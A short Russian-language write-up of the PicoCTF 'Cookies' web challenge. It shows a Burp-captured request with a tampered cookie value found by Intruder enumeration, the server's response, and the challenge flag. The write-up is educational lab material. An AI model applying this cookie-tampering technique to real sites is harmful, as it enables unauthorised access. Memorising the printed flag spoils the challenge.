

1. WriteUp: PICO-CTF

Автор: nedo-offsec

Дата: 19 июля 2026

Задание: Cookies

Категория: Web

Сложность: Easy 40 pts

1.1 Задание

Who doesn't love cookies? Try to figure out the best one.

1.2 Решение

открываем burp вводим в поле snickerdoodle и перехватываем запрос, отправляем его в repeater затем составляем такой запрос и ловим флаг

```
GET /check HTTP/1.1
Host: wily-courier.picoctf.net:52692
Content-Length: 18
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/149.0.0.0 Safari/537.36
Origin: http://wily-courier.picoctf.net:52692
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://wily-courier.picoctf.net:52692/
Accept-Encoding: gzip, deflate, br
Cookie: name=18
Connection: keep-alive
```

name=snickerdoodle

```
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
Date: Sun, 19 Jul 2026 19:56:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1185
Connection: close
```

```
<!DOCTYPE html>
<html lang="en">
```

```
<head>
  <title>Cookies</title>
```

```
  <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.
css" rel="stylesheet">
```

```
  <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/
jumbotron-narrow.css" rel="stylesheet">
```

```

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

</head>

<body>

  <div class="container">
    <div class="header">
      <nav>
        <ul class="nav nav-pills pull-right">
          <li role="presentation"><a href="/reset" class="btn btn-link pull-right">Home</a>
        </li>
        </ul>
      </nav>
      <h3 class="text-muted">Cookies</h3>
    </div>

    <div class="jumbotron">
      <p class="lead"></p>
      <p style="text-align:center; font-size:30px;"><b>Flag</b>:
<code>picoCTF{3v3ry1_l0v3s_c00k135_a4dadb49}</code></p>
    </div>

    <footer class="footer">
      <p>&copy; PicoCTF</p>
    </footer>

  </div>
</body>

</html>

```

Почему отправляем на check? потому что на него приходит редирект после ввода “правильной” куки. Почему number=18? потому что надо было использовать payload и все(intruder)